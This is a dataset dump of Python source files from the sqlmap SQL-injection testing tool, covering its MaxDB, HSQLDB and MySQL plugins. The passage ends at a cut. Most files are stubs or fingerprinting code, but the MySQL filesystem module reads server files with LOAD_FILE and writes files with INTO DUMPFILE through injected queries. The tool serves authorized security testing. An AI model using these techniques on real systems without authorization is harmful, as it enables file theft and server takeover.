id
int64
0
458k
file_name
stringlengths
4
119
file_path
stringlengths
14
227
content
stringlengths
24
9.96M
size
int64
24
9.96M
language
stringclasses
1 value
extension
stringclasses
14 values
total_lines
int64
1
219k
avg_line_length
float64
2.52
4.63M
max_line_length
int64
5
9.91M
alphanum_fraction
float64
0
1
repo_name
stringlengths
7
101
repo_stars
int64
100
139k
repo_forks
int64
0
26.4k
repo_open_issues
int64
0
2.27k
repo_license
stringclasses
12 values
repo_extraction_date
stringclasses
433 values
19,100
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/maxdb/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on SAP MaxDB reading of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on SAP MaxDB writing of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg)
733
Python
.py
16
41.25
71
0.759831
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,101
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/maxdb/connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def __init__(self): GenericConnector.__init__(self) def connect(self): errMsg = "on SAP MaxDB it is not possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg)
563
Python
.py
14
36.071429
67
0.750459
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,102
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/maxdb/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT 'abcdefgh' FROM foobar" """ return expression
504
Python
.py
16
26.4375
62
0.672878
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,103
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/maxdb/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MAXDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.maxdb.enumeration import Enumeration from plugins.dbms.maxdb.filesystem import Filesystem from plugins.dbms.maxdb.fingerprint import Fingerprint from plugins.dbms.maxdb.syntax import Syntax from plugins.dbms.maxdb.takeover import Takeover from plugins.generic.misc import Miscellaneous class MaxDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines SAP MaxDB methods """ def __init__(self): self.excludeDbsList = MAXDB_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.MAXDB] = Syntax.escape
1,033
Python
.py
27
34.222222
86
0.748
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,104
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/maxdb/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import MAXDB_ALIASES from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MAXDB) def _versionCheck(self): infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB logger.warn(warnMsg) return None minor, major = None, None for version in (6, 7): result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version) if result: major = version for version in xrange(0, 10): result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version) if result: minor = version if major and minor: return "%s.%s" % (major, minor) else: return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp blank = " " * 15 value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.MAXDB return value actVer = Format.getDbms() + " (%s)" % self._versionCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: value += "\n%sbanner parsing fingerprint: -" % blank htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or (conf.dbms or "").lower() in MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() return True infoMsg = "testing %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("ALPHA(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False setDbms(DBMS.MAXDB) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False def forceDbmsEnum(self): if conf.db: conf.db = conf.db.upper() else: conf.db = "USER" if conf.tbl: conf.tbl = conf.tbl.upper()
3,799
Python
.py
97
29.639175
120
0.606607
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,105
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/maxdb/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg)
1,050
Python
.py
24
37.958333
70
0.726202
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,106
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/maxdb/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import randomStr from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) kb.data.processChar = lambda x: x.replace('_', ' ') if x else x def getPasswordHashes(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True) if retVal: kb.data.cachedDbs = retVal[0].values()[0] if kb.data.cachedDbs: kb.data.cachedDbs.sort() return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() for db in filter(None, dbs): dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables for db in dbs: randStr = randomStr() query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True) if retVal: for table in retVal[0].values()[0]: if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def getColumns(self, onlyColNames=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) rootQuery = queries[Backend.getIdentifiedDbms()].columns for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) randStr = randomStr() query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True) if retVal: table = {} columns = {} for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns kb.data.cachedColumns[conf.db] = table return kb.data.cachedColumns def getPrivileges(self, *args): warnMsg = "on SAP MaxDB it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def searchDb(self): warnMsg = "on SAP MaxDB it is not possible to search databases" logger.warn(warnMsg) return [] def getHostname(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" logger.warn(warnMsg)
6,561
Python
.py
133
38.451128
193
0.615951
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,107
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/hsqldb/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg)
725
Python
.py
16
40.75
71
0.757102
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,108
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/hsqldb/connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import jaydebeapi import jpype except ImportError, msg: pass import logging from lib.core.common import checkFile from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html API: - Debian package: - License: LGPL & Apache License 2.0 """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: msg = "what's the location of 'hsqldb.jar'? " jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar jvm_path = jpype.getDefaultJVMPath() jpype.startJVM(jvm_path, args) except Exception, msg: raise SqlmapConnectionException(msg[0]) try: driver = 'org.hsqldb.jdbc.JDBCDriver' connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) except Exception, msg: raise SqlmapConnectionException(msg[0]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except Exception, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except Exception, msg: #todo fix with specific error logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) self.connector.commit() return retVal def select(self, query): retVal = None upper_query = query.upper() if query and not (upper_query.startswith("SELECT ") or upper_query.startswith("VALUES ")): query = "VALUES %s" % query if query and upper_query.startswith("SELECT ") and " FROM " not in upper_query: query = "%s FROM (VALUES(0))" % query self.cursor.execute(query) retVal = self.cursor.fetchall() return retVal
2,907
Python
.py
74
30.121622
123
0.619268
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,109
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/hsqldb/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar' """ def escaper(value): return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper)
723
Python
.py
18
34.388889
112
0.648069
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,110
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/hsqldb/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import HSQLDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.hsqldb.enumeration import Enumeration from plugins.dbms.hsqldb.filesystem import Filesystem from plugins.dbms.hsqldb.fingerprint import Fingerprint from plugins.dbms.hsqldb.syntax import Syntax from plugins.dbms.hsqldb.takeover import Takeover from plugins.generic.misc import Miscellaneous class HSQLDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines HSQLDB methods """ def __init__(self): self.excludeDbsList = HSQLDB_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.HSQLDB] = Syntax.escape
1,039
Python
.py
27
34.444444
87
0.750497
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,111
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/hsqldb/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.HSQLDB) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not hasattr(conf, "api"): value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not hasattr(conf, "api"): value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: DATABASE_VERSION() version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') version 2.2.5 added SYSTIMESTAMP function version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions version 2.2.0 added support for ROWNUM() function version 2.1.0 added MEDIAN aggregate function version < 2.0.1 added support for datetime ROUND and TRUNC functions version 2.0.0 added VALUES support version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA """ if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \ or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1") if result: infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) return False else: kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) banner = self.getBanner() if banner: Backend.setVersion("= %s" % banner) else: if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) else: banner = unArrayizeValue(inject.getValue("\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) if banner: Backend.setVersion("= %s" % banner) else: Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) return True else: warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB logger.warn(warnMsg) return False def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" logger.warn(warnMsg)
5,053
Python
.py
109
35.220183
146
0.598493
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,112
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/hsqldb/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on HSQLDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on HSQLDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg)
1,038
Python
.py
24
37.458333
67
0.726912
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,113
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/hsqldb/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.common import Backend from lib.core.common import unArrayizeValue from lib.request import inject class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) return kb.data.banner def getPrivileges(self, *args): warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" logger.warn(warnMsg)
1,239
Python
.py
32
32.78125
89
0.714286
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,114
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mysql/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapNoneDataException from lib.request import inject from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def nonStackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % rFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % rFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): warnMsg += ", going to fall-back to simpler UNION technique" logger.warn(warnMsg) result = self.nonStackedReadFile(rFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) sustrLen = 1024 if length > sustrLen: result = [] for i in xrange(1, length, sustrLen): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warn(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) unionUse(sqlQuery, unpack=False) warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(wFile, dFile, forceCheck) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the hexadecimal encoded file to the support table") for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) return self.askCheckWrittenFile(wFile, dFile, forceCheck)
5,542
Python
.py
101
46.039604
197
0.67795
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,115
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mysql/connector.py
